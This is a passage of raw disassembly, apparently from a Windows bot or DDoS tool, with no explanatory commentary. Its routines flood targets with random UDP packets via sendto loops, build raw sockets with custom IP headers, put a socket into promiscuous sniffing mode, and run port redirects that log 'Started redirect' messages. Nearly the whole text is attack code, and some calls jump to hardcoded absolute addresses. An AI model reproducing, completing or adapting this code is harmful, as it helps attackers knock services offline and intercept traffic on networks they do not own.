loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2821DE2h
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		call	near ptr 71AB4489h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EF4
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi	; closesocket


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi	; closesocket


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
